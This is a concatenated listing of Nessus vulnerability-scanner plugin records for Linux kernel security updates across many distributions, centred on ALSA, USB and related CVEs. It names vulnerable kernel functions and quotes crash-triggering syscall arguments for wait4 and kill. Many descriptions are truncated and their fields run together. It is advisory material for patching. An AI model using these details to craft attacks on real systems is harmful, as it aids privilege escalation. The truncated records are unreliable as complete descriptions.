2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89632 title Fedora 22 : kernel-4.3.6-201.fc22 (2016-e7162262b0) NASL family CentOS Local Security Checks NASL id CENTOS_RHSA-2017-0817.NASL description An update for kernel is now available for Red Hat Enterprise Linux 6. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation-based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate) * A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question. A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table). (CVE-2016-2069, Moderate) * A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 97962 published 2017-03-27 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/97962 title CentOS 6 : kernel (CESA-2017:0817) NASL family Debian Local Security Checks NASL id DEBIAN_DSA-3503.NASL description Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service, information leak or data loss. - CVE-2013-4312, CVE-2016-2847 Tetsuo Handa discovered that users can use pipes queued on local (Unix) sockets to allocate an unfair share of kernel memory, leading to denial-of-service (resource exhaustion). This issue was previously mitigated for the stable suite by limiting the total number of files queued by each user on local sockets. The new kernel version in both suites includes that mitigation plus limits on the total size of pipe buffers allocated for each user. - CVE-2015-7566 Ralf Spenneberg of OpenSource Security reported that the visor driver crashes when a specially crafted USB device without bulk-out endpoint is detected. - CVE-2015-8767 An SCTP denial-of-service was discovered which can be triggered by a local attacker during a heartbeat timeout event after the 4-way handshake. - CVE-2015-8785 It was discovered that local users permitted to write to a file on a FUSE filesystem could cause a denial of service (unkillable loop in the kernel). - CVE-2015-8812 A flaw was found in the iw_cxgb3 Infiniband driver. Whenever it could not send a packet because the network was congested, it would free the packet buffer but later attempt to send the packet again. This use-after-free could result in a denial of service (crash or hang), data loss or privilege escalation. - CVE-2015-8816 A use-after-free vulnerability was discovered in the USB hub driver. This may be used by a physically present user for privilege escalation. - CVE-2015-8830 Ben Hawkes of Google Project Zero reported that the AIO interface permitted reading or writing 2 GiB of data or more in a single chunk, which could lead to an integer overflow when applied to certain filesystems, socket or device types. The full security impact has not been evaluated. - CVE-2016-0723 A use-after-free vulnerability was discovered in the TIOCGETD ioctl. A local attacker could use this flaw for denial-of-service. - CVE-2016-0774 It was found that the fix for CVE-2015-1805 in kernel versions older than Linux 3.16 did not correctly handle the case of a partially failed atomic read. A local, unprivileged user could use this flaw to crash the system or leak kernel memory to user space. - CVE-2016-2069 Andy Lutomirski discovered a race condition in flushing of the TLB when switching tasks on an x86 system. On an SMP system this could possibly lead to a crash, information leak or privilege escalation. - CVE-2016-2384 Andrey Konovalov found that a crafted USB MIDI device with an invalid USB descriptor could trigger a double-free. This may be used by a physically present user for privilege escalation. - CVE-2016-2543 Dmitry Vyukov found that the core sound sequencer driver (snd-seq) lacked a necessary check for a NULL pointer, allowing a user with access to a sound sequencer device to cause a denial-of service (crash). - CVE-2016-2544, CVE-2016-2546, CVE-2016-2547, CVE-2016-2548 Dmitry Vyukov found various race conditions in the sound subsystem (ALSA) last seen 2020-06-01 modified 2020-06-02 plugin id 89122 published 2016-03-04 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89122 title Debian DSA-3503-1 : linux - security update NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2928-1.NASL description Andrey Konovalov discovered that the ALSA USB MIDI driver incorrectly performed a double-free. A local attacker with physical access could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 89931 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89931 title Ubuntu 12.04 LTS : linux vulnerability (USN-2928-1) NASL family Oracle Linux Local Security Checks NASL id ORACLELINUX_ELSA-2018-4145.NASL description Description of changes: [2.6.39-400.299.3.el6uek] - x86/fpu: Make eager FPU default (Mihai Carabas) [Orabug: 28156175] {CVE-2018-3665} - ALSA: hrtimer: Fix stall by hrtimer_cancel() (Takashi Iwai) [Orabug: 22876528] {CVE-2016-2549} - ALSA: timer: Harden slave timer list handling (Takashi Iwai) [Orabug: 22876528] {CVE-2016-2547} {CVE-2016-2548} - ALSA: timer: Fix double unlink of active_list (Takashi Iwai) [Orabug: 22876528] {CVE-2016-2545} - ALSA: seq: Fix missing NULL check at remove_events ioctl (Takashi Iwai) [Orabug: 22876528] {CVE-2016-2543} - ALSA: seq: Fix race at timer setup and close (Takashi Iwai) [Orabug: 22876528] {CVE-2016-2544} - ALSA: usb-audio: avoid freeing umidi object twice (Andrey Konovalov) [Orabug: 22876528] {CVE-2016-2384} - mlx4_ib: DREQ silently dropped by PF passive side (Venkat Venkatsubra) [Orabug: 25090540] - net: tcpdump fails with EFAULT (Venkat Venkatsubra) [Orabug: 25209691] - x86/spec: Remove rescan_spec_ctrl_feature as it last seen 2020-06-01 modified 2020-06-02 plugin id 110585 published 2018-06-18 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/110585 title Oracle Linux 6 : Unbreakable Enterprise kernel (ELSA-2018-4145) NASL family SuSE Local Security Checks NASL id SUSE_SU-2016-0911-1.NASL description The SUSE Linux Enterprise 11 SP4 kernel was updated to receive various security and bugfixes. Following feature was added to kernel-xen : - A improved XEN blkfront module was added, which allows more I/O bandwidth. (FATE#320200) It is called xen-blkfront in PV, and xen-vbd-upstream in HVM mode. The following security bugs were fixed : - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the Linux kernel allowed local users to bypass intended AF_UNIX socket permissions or cause a denial of service (panic) via crafted epoll_ctl calls (bnc#955654). - CVE-2015-7515: An out of bounds memory access in the aiptek USB driver could be used by physical local attackers to crash the kernel (bnc#956708). - CVE-2015-7550: The keyctl_read_key function in security/keys/keyctl.c in the Linux kernel did not properly use a semaphore, which allowed local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact via a crafted application that leverages a race condition between keyctl_revoke and keyctl_read calls (bnc#958951). - CVE-2015-8539: The KEYS subsystem in the Linux kernel allowed local users to gain privileges or cause a denial of service (BUG) via crafted keyctl commands that negatively instantiate a key, related to security/keys/encrypted-keys/encrypted.c, security/keys/trusted.c, and security/keys/user_defined.c (bnc#958463). - CVE-2015-8543: The networking implementation in the Linux kernel did not validate protocol identifiers for certain protocol families, which allowed local users to cause a denial of service (NULL function pointer dereference and system crash) or possibly gain privileges by leveraging CLONE_NEWUSER support to execute a crafted SOCK_RAW application (bnc#958886). - CVE-2015-8550: Compiler optimizations in the XEN PV backend drivers could have lead to double fetch vulnerabilities, causing denial of service or arbitrary code execution (depending on the configuration) (bsc#957988). - CVE-2015-8551, CVE-2015-8552: xen/pciback: For XEN_PCI_OP_disable_msi[|x] only disable if device has MSI(X) enabled (bsc#957990). - CVE-2015-8569: The (1) pptp_bind and (2) pptp_connect functions in drivers/net/ppp/pptp.c in the Linux kernel did not verify an address length, which allowed local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application (bnc#959190). - CVE-2015-8575: The sco_sock_bind function in net/bluetooth/sco.c in the Linux kernel did not verify an address length, which allowed local users to obtain sensitive information from kernel memory and bypass the KASLR protection mechanism via a crafted application (bnc#959190 bnc#959399). - CVE-2015-8767: net/sctp/sm_sideeffect.c in the Linux kernel did not properly manage the relationship between a lock and a socket, which allowed local users to cause a denial of service (deadlock) via a crafted sctp_accept call (bnc#961509). - CVE-2015-8785: The fuse_fill_write_pages function in fs/fuse/file.c in the Linux kernel allowed local users to cause a denial of service (infinite loop) via a writev system call that triggers a zero length for the first segment of an iov (bnc#963765). - CVE-2015-8812: A use-after-free flaw was found in the CXGB3 kernel driver when the network was considered to be congested. This could be used by local attackers to cause machine crashes or potentially code execution (bsc#966437). - CVE-2016-0723: Race condition in the tty_ioctl function in drivers/tty/tty_io.c in the Linux kernel allowed local users to obtain sensitive information from kernel memory or cause a denial of service (use-after-free and system crash) by making a TIOCGETD ioctl call during processing of a TIOCSETD ioctl call (bnc#961500). - CVE-2016-2069: Race conditions in TLB syncing was fixed which could leak to information leaks (bnc#963767). - CVE-2016-2384: Removed a double free in the ALSA usb-audio driver in the umidi object which could lead to crashes (bsc#966693). - CVE-2016-2543: Added a missing NULL check at remove_events ioctl in ALSA that could lead to crashes. (bsc#967972). - CVE-2016-2544, CVE-2016-2545, CVE-2016-2546, CVE-2016-2547, CVE-2016-2548, CVE-2016-2549: Various race conditions in ALSAs timer handling were fixed. (bsc#967975, bsc#967974, bsc#967973, bsc#968011, bsc#968012, bsc#968013). The update package also includes non-security fixes. See advisory for details. Note that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. last seen 2020-06-01 modified 2020-06-02 plugin id 90264 published 2016-04-01 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/90264 title SUSE SLED11 / SLES11 Security Update : kernel (SUSE-SU-2016:0911-1) NASL family CentOS Local Security Checks NASL id CENTOS_RHSA-2016-2574.NASL description An update for kernel is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es) : * It was found that the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 95321 published 2016-11-28 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/95321 title CentOS 7 : kernel (CESA-2016:2574) NASL family OracleVM Local Security Checks NASL id ORACLEVM_OVMSA-2018-0231.NASL description The remote OracleVM system is missing necessary patches to address critical security updates : - x86/fpu: Make eager FPU default (Mihai Carabas) [Orabug: 28156176] (CVE-2018-3665) - KVM: Fix stack-out-of-bounds read in write_mmio (Wanpeng Li) [Orabug: 27951287] (CVE-2017-17741) (CVE-2017-17741) - xfs: set format back to extents if xfs_bmap_extents_to_btree (Eric Sandeen) [Orabug: 27989498] (CVE-2018-10323) - Bluetooth: Prevent stack info leak from the EFS element. (Ben Seri) [Orabug: 28030520] (CVE-2017-1000410) (CVE-2017-1000410) - ALSA: hrtimer: Fix stall by hrtimer_cancel (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2549) - ALSA: timer: Harden slave timer list handling (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2547) (CVE-2016-2548) - ALSA: timer: Fix double unlink of active_list (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2545) - ALSA: seq: Fix missing NULL check at remove_events ioctl (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2543) - ALSA: seq: Fix race at timer setup and close (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2544) - ALSA: usb-audio: avoid freeing umidi object twice (Andrey Konovalov) [Orabug: 28058229] (CVE-2016-2384) - perf/hwbp: Simplify the perf-hwbp code, fix documentation (Linus Torvalds) [Orabug: 27947608] (CVE-2018-1000199) - Revert last seen 2020-06-01 modified 2020-06-02 plugin id 110581 published 2018-06-18 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/110581 title OracleVM 3.3 : Unbreakable / etc (OVMSA-2018-0231) NASL family SuSE Local Security Checks NASL id SUSE_SU-2016-1019-1.NASL description The SUSE Linux Enterprise 12 SP1 kernel was updated to 3.12.57 to receive various security and bugfixes. The following security bugs were fixed : - CVE-2015-8812: A flaw was found in the CXGB3 kernel driver when the network was considered congested. The kernel would incorrectly misinterpret the congestion as an error condition and incorrectly free/clean up the skb. When the device would then send the skb last seen 2020-06-01 modified 2020-06-02 plugin id 90531 published 2016-04-15 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/90531 title SUSE SLED12 / SLES12 Security Update : kernel (SUSE-SU-2016:1019-1) NASL family Virtuozzo Local Security Checks NASL id VIRTUOZZO_VZA-2017-025.NASL description According to the versions of the parallels-server-bm-release / vzkernel / etc packages installed, the Virtuozzo installation on the remote host is affected by the following vulnerabilities : - A flaw was found in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 99106 published 2017-03-31 reporter This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/99106 title Virtuozzo 6 : parallels-server-bm-release / vzkernel / etc (VZA-2017-025) NASL family OracleVM Local Security Checks NASL id ORACLEVM_OVMSA-2018-0237.NASL description The remote OracleVM system is missing necessary patches to address critical security updates : - dm: fix race between dm_get_from_kobject and __dm_destroy (Hou Tao) (CVE-2017-18203) - drm: udl: Properly check framebuffer mmap offsets (Greg Kroah-Hartman) [Orabug: 27986407] (CVE-2018-8781) - kernel/exit.c: avoid undefined behaviour when calling wait4 wait4(-2147483648, 0x20, 0, 0xdd0000) triggers: UBSAN: Undefined behaviour in kernel/exit.c:1651:9 (mridula shastry) [Orabug: 27875488] (CVE-2018-10087) - kernel/signal.c: avoid undefined behaviour in kill_something_info When running kill(72057458746458112, 0) in userspace I hit the following issue. (mridula shastry) (CVE-2018-10124) - bluetooth: Validate socket address length in sco_sock_bind. (mlevatic) [Orabug: 28130293] (CVE-2015-8575) - dccp: check sk for closed state in dccp_sendmsg (Alexey Kodanev) [Orabug: 28220402] (CVE-2017-8824) (CVE-2018-1130) - sctp: verify size of a new chunk in _sctp_make_chunk (Alexey Kodanev) [Orabug: 28240075] (CVE-2018-5803) - mm/mempolicy.c: fix error handling in set_mempolicy and mbind. (Chris Salls) [Orabug: 28242478] (CVE-2017-7616) - xfrm: policy: check policy direction value (Vladis Dronov) [Orabug: 28264121] (CVE-2017-11600) (CVE-2017-11600) - x86/fpu: Make eager FPU default (Mihai Carabas) [Orabug: 28156176] (CVE-2018-3665) - KVM: Fix stack-out-of-bounds read in write_mmio (Wanpeng Li) [Orabug: 27951287] (CVE-2017-17741) (CVE-2017-17741) - xfs: set format back to extents if xfs_bmap_extents_to_btree (Eric Sandeen) [Orabug: 27989498] (CVE-2018-10323) - Bluetooth: Prevent stack info leak from the EFS element. (Ben Seri) [Orabug: 28030520] (CVE-2017-1000410) (CVE-2017-1000410) - ALSA: hrtimer: Fix stall by hrtimer_cancel (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2549) - ALSA: timer: Harden slave timer list handling (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2547) (CVE-2016-2548) - ALSA: timer: Fix double unlink of active_list (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2545) - ALSA: seq: Fix missing NULL check at remove_events ioctl (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2543) - ALSA: seq: Fix race at timer setup and close (Takashi Iwai) [Orabug: 28058229] (CVE-2016-2544) - ALSA: usb-audio: avoid freeing umidi object twice (Andrey Konovalov) [Orabug: 28058229] (CVE-2016-2384) - perf/hwbp: Simplify the perf-hwbp code, fix documentation (Linus Torvalds) [Orabug: 27947608] (CVE-2018-1000199) - Revert last seen 2020-06-01 modified 2020-06-02 plugin id 111022 published 2018-07-12 reporter This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/111022 title OracleVM 3.3 : Unbreakable / etc (OVMSA-2018-0237) NASL family Huawei Local Security Checks NASL id EULEROS_SA-2019-2599.NASL description According to the versions of the kernel packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : - The kernel package contains the Linux kernel (vmlinuz), the core of any Linux operating system. The kernel handles the basic functions of the operating system: memory allocation, process allocation, device input and output, etc.Security Fix(es):** DISPUTED ** Multiple integer overflows in the lzo1x_decompress_safe function in lib/lzo/lzo1x_decompress_safe.c in the LZO decompressor in the Linux kernel before 3.15.2 allow context-dependent attackers to cause a denial of service (memory corruption) via a crafted Literal Run. NOTE: the author of the LZO algorithms says last seen 2020-05-08 modified 2019-12-18 plugin id 132134 published 2019-12-18 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/132134 title EulerOS 2.0 SP3 : kernel (EulerOS-SA-2019-2599) NASL family Red Hat Local Security Checks NASL id REDHAT-RHSA-2016-2584.NASL description An update for kernel-rt is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. Security Fix(es) : * It was found that the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 94547 published 2016-11-04 reporter This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/94547 title RHEL 7 : kernel-rt (RHSA-2016:2584) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2932-1.NASL description Ben Hawkes discovered that the Linux netfilter implementation did not correctly perform validation when handling IPT_SO_SET_REPLACE events. A local unprivileged attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code with administrative privileges. (CVE-2016-3134) It was discovered that the Linux kernel did not properly enforce rlimits for file descriptors sent over UNIX domain sockets. A local attacker could use this to cause a denial of service. (CVE-2013-4312) Ralf Spenneberg discovered that the USB driver for Clie devices in the Linux kernel did not properly sanity check the endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7566) Ralf Spenneberg discovered that the usbvision driver in the Linux kernel did not properly sanity check the interfaces and endpoints reported by the device. An attacker with physical access could cause a denial of service (system crash). (CVE-2015-7833) It was discovered that a race condition existed when handling heartbeat- timeout events in the SCTP implementation of the Linux kernel. A remote attacker could use this to cause a denial of service. (CVE-2015-8767) It was discovered that a race condition existed in the ioctl handler for the TTY driver in the Linux kernel. A local attacker could use this to cause a denial of service (system crash) or expose sensitive information. (CVE-2016-0723) Andy Lutomirski discovered a race condition in the Linux kernel last seen 2020-06-01 modified 2020-06-02 plugin id 89937 published 2016-03-15 reporter Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/89937 title Ubuntu 14.04 LTS : linux-lts-vivid vulnerabilities (USN-2932-1) NASL family SuSE Local Security Checks NASL id OPENSUSE-2016-1015.NASL description The openSUSE 13.2 kernel was updated to fix various bugs and security issues. The following security bugs were fixed : - CVE-2016-1583: Prevent the usage of mmap when the lower file system does not allow it. This could have lead to local privilege escalation when ecryptfs-utils was installed and /sbin/mount.ecryptfs_private was setuid (bsc#983143). - CVE-2016-4913: The get_rock_ridge_filename function in fs/isofs/rock.c in the Linux kernel mishandles NM (aka alternate name) entries containing \0 characters, which allowed local users to obtain sensitive information from kernel memory or possibly have unspecified other impact via a crafted isofs filesystem (bnc#980725). - CVE-2016-4580: The x25_negotiate_facilities function in net/x25/x25_facilities.c in the Linux kernel did not properly initialize a certain data structure, which allowed attackers to obtain sensitive information from kernel stack memory via an X.25 Call Request (bnc#981267). - CVE-2016-0758: Tags with indefinite length could have corrupted pointers in asn1_find_indefinite_length (bsc#979867). - CVE-2016-2053: The asn1_ber_decoder function in lib/asn1_decoder.c in the Linux kernel allowed attackers to cause a denial of service (panic) via an ASN.1 BER file that lacks a public key, leading to mishandling by the public_key_verify_signature function in crypto/asymmetric_keys/public_key.c (bnc#963762). - CVE-2016-2187: The gtco_probe function in drivers/input/tablet/gtco.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#971919 971944). - CVE-2016-4482: The proc_connectinfo function in drivers/usb/core/devio.c in the Linux kernel did not initialize a certain data structure, which allowed local users to obtain sensitive information from kernel stack memory via a crafted USBDEVFS_CONNECTINFO ioctl call (bnc#978401 bsc#978445). - CVE-2016-4565: The InfiniBand (aka IB) stack in the Linux kernel incorrectly relies on the write system call, which allowed local users to cause a denial of service (kernel memory write operation) or possibly have unspecified other impact via a uAPI interface (bnc#979548 bsc#980363). - CVE-2016-3672: The arch_pick_mmap_layout function in arch/x86/mm/mmap.c in the Linux kernel did not properly randomize the legacy base address, which made it easier for local users to defeat the intended restrictions on the ADDR_NO_RANDOMIZE flag, and bypass the ASLR protection mechanism for a setuid or setgid program, by disabling stack-consumption resource limits (bnc#974308). - CVE-2016-4581: fs/pnode.c in the Linux kernel did not properly traverse a mount propagation tree in a certain case involving a slave mount, which allowed local users to cause a denial of service (NULL pointer dereference and OOPS) via a crafted series of mount system calls (bnc#979913). - CVE-2016-4485: The llc_cmsg_rcv function in net/llc/af_llc.c in the Linux kernel did not initialize a certain data structure, which allowed attackers to obtain sensitive information from kernel stack memory by reading a message (bnc#978821). - CVE-2015-3288: A security flaw was found in the Linux kernel that there was a way to arbitrary change zero page memory. (bnc#979021). - CVE-2016-4578: sound/core/timer.c in the Linux kernel did not initialize certain r1 data structures, which allowed local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface, related to the (1) snd_timer_user_ccallback and (2) snd_timer_user_tinterrupt functions (bnc#979879). - CVE-2016-3134: The netfilter subsystem in the Linux kernel did not validate certain offset fields, which allowed local users to gain privileges or cause a denial of service (heap memory corruption) via an IPT_SO_SET_REPLACE setsockopt call (bnc#971126). - CVE-2016-4486: The rtnl_fill_link_ifmap function in net/core/rtnetlink.c in the Linux kernel did not initialize a certain data structure, which allowed local users to obtain sensitive information from kernel stack memory by reading a Netlink message (bnc#978822). - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the Linux kernel allowed local users to bypass intended AF_UNIX socket permissions or cause a denial of service (panic) via crafted epoll_ctl calls (bnc#955654). - CVE-2016-4569: The snd_timer_user_params function in sound/core/timer.c in the Linux kernel did not initialize a certain data structure, which allowed local users to obtain sensitive information from kernel stack memory via crafted use of the ALSA timer interface (bnc#979213). - CVE-2016-2847: fs/pipe.c in the Linux kernel did not limit the amount of unread data in pipes, which allowed local users to cause a denial of service (memory consumption) by creating many pipes with non-default sizes (bnc#970948 974646). - CVE-2016-3136: The mct_u232_msr_to_state function in drivers/usb/serial/mct_u232.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted USB device without two interrupt-in endpoint descriptors (bnc#970955). - CVE-2016-2188: The iowarrior_probe function in drivers/usb/misc/iowarrior.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970956). - CVE-2016-3138: The acm_probe function in drivers/usb/class/cdc-acm.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a USB device without both a control and a data endpoint descriptor (bnc#970911). - CVE-2016-3137: drivers/usb/serial/cypress_m8.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a USB device without both an interrupt-in and an interrupt-out endpoint descriptor, related to the cypress_generic_port_probe and cypress_open functions (bnc#970970). - CVE-2016-3951: Double free vulnerability in drivers/net/usb/cdc_ncm.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (system crash) or possibly have unspecified other impact by inserting a USB device with an invalid USB descriptor (bnc#974418). - CVE-2016-3140: The digi_port_init function in drivers/usb/serial/digi_acceleport.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970892). - CVE-2016-2186: The powermate_probe function in drivers/input/misc/powermate.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970958). - CVE-2016-2185: The ati_remote2_probe function in drivers/input/misc/ati_remote2.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#971124). - CVE-2016-3689: The ims_pcu_parse_cdc_data function in drivers/input/misc/ims-pcu.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (system crash) via a USB device without both a master and a slave interface (bnc#971628). - CVE-2016-3156: The IPv4 implementation in the Linux kernel mishandles destruction of device objects, which allowed guest OS users to cause a denial of service (host OS networking outage) by arranging for a large number of IP addresses (bnc#971360). - CVE-2016-2184: The create_fixed_stream_quirk function in sound/usb/quirks.c in the snd-usb-audio driver in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference or double free, and system crash) via a crafted endpoints value in a USB device descriptor (bnc#971125). - CVE-2016-3139: The wacom_probe function in drivers/input/tablet/wacom_sys.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) via a crafted endpoints value in a USB device descriptor (bnc#970909). - CVE-2015-8830: Integer overflow in the aio_setup_single_vector function in fs/aio.c in the Linux kernel 4.0 allowed local users to cause a denial of service or possibly have unspecified other impact via a large AIO iovec. NOTE: this vulnerability exists because of a CVE-2012-6701 regression (bnc#969354 bsc#969355). - CVE-2016-2782: The treo_attach function in drivers/usb/serial/visor.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a (1) bulk-in or (2) interrupt-in endpoint (bnc#968670). - CVE-2015-8816: The hub_activate function in drivers/usb/core/hub.c in the Linux kernel did not properly maintain a hub-interface data structure, which allowed physically proximate attackers to cause a denial of service (invalid memory access and system crash) or possibly have unspecified other impact by unplugging a USB hub device (bnc#968010). - CVE-2015-7566: The clie_5_attach function in drivers/usb/serial/visor.c in the Linux kernel allowed physically proximate attackers to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by inserting a USB device that lacks a bulk-out endpoint (bnc#961512). - CVE-2016-2549: sound/core/hrtimer.c in the Linux kernel did not prevent recursive callback access, which allowed local users to cause a denial of service (deadlock) via a crafted ioctl call (bnc#968013). - CVE-2016-2547: sound/core/timer.c in the Linux kernel employs a locking approach that did not consider slave timer instances, which allowed local users to cause a denial of service (race condition, use-after-free, and system crash) via a crafted ioctl call (bnc#968011). - CVE-2016-2548: sound/core/timer.c in the Linux kernel retains certain linked lists after a close or stop action, which allowed local users to cause a denial of service (system crash) via a crafted ioctl call, related to the (1) snd_timer_close and (2) _snd_timer_stop functions (bnc#968012). - CVE-2016-2546: sound/core/timer.c in the Linux kernel uses an incorrect type of mutex, which allowed local users to cause a denial of service (race condition, use-after-free, and system crash) via a crafted ioctl call (bnc#967975). - CVE-2016-2545: The snd_timer_interrupt function in sound/core/timer.c in the Linux kernel did not properly maintain a certain linked list, which allowed local users to cause a denial of service (race condition and system crash) via a crafted ioctl call (bnc#967974). - CVE-2016-2544: Race condition in the queue_delete function in sound/core/seq/seq_queue.c in the Linux kernel allowed local users to cause a denial of service (use-after-free and system crash) by making an ioctl call at a certain time (bnc#967973). - CVE-2016-2543: The snd_seq_ioctl_remove_events function in sound/core/seq/seq_clientmgr.c in the Linux kernel did not verify FIFO assignment before proceeding with FIFO clearing, which allowed local users to cause a denial of service (NULL pointer dereference and OOPS) via a crafted ioctl call (bnc#967972). - CVE-2015-8709: ** DISPUTED ** kernel/ptrace.c in the Linux kernel mishandles uid and gid mappings, which allowed local users to gain privileges by establishing a user namespace, waiting for a root process to enter that namespace with an unsafe uid or gid, and then using the ptrace system call. NOTE: the vendor states last seen 2020-06-05 modified 2016-08-25 plugin id 93104 published 2016-08-25 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/93104 title openSUSE Security Update : the Linux Kernel (openSUSE-2016-1015) NASL family Huawei Local Security Checks NASL id EULEROS_SA-2019-1513.NASL description According to the versions of the kernel packages installed, the EulerOS Virtualization for ARM 64 installation on the remote host is affected by the following vulnerabilities : - A flaw was found in the USB-MIDI Linux kernel driver: a double-free error could be triggered for the last seen 2020-03-19 modified 2019-05-15 plugin id 125101 published 2019-05-15 reporter This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/125101 title EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1513) NASL family Scientific Linux Local Security Checks NASL id SL_20161103_KERNEL_ON_SL7_X.NASL description Security Fix(es) : - It was found that the Linux kernel last seen 2020-03-18 modified 2016-12-15 plugin id 95841 published 2016-12-15 reporter This script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/95841 title Scientific Linux Security Update : kernel on SL7.x x86_64 (20161103) NASL family Ubuntu Local Security Checks NASL id UBUNTU_USN-2930-2.NASL description Ben Hawkes discovered that the 